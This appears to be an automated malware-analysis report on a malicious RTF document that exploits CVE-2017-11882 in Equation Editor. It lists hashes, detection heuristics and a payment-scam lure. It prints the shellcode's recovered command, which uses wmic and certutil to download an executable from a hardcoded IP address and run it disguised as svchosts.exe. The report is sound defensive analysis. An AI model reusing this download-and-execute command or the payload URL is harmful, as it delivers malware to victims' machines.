RTF malware analysis — malicious · 3fa3ca9554bfc245

MALICIOUS

RTF

11.1 KB First seen: 2019-08-04

MD5: 4278ebceb435ec96c30b2e726f34902b SHA-1: 381cae794cbf22774f55ca3bbab3117e5bcac8f0 SHA-256: 3fa3ca9554bfc2455a06de549e52ce5f5a0508d79d4a5c54204c5d16b8f70bc6

342 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The RTF document contains embedded OLE object data and is specifically vulnerable to CVE-2017-11882, indicating an exploit attempt. The embedded URL points to a suspicious executable, likely a second-stage payload. The document body's reversed text appears to be a lure for a payment scam, further supporting the malicious intent.

Heuristics 8

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Automatically linked OLE object high RTF_OBJAUTLINK

RTF contains \objautlink — an automatically linked OLE object surface that can be updated or activated when Word opens the document.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://192.3.162.102/out/new.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000ef2.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xEF2	3627 bytes
SHA-256: `01b0bd5780e1c669674ebc2a218534ae20b62a5918e6c4cfc3ff3e1ebb9fd578`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://192.3.162.102/out/new.exe Static shellcode analysis recovered command string(s): cmd /start wmic process call create " cmd /c certutil -urlcache -split -f http://192.3.162.102/out/new.exe %temp%\\svchosts.exe&%temp%\\svchosts.exe "

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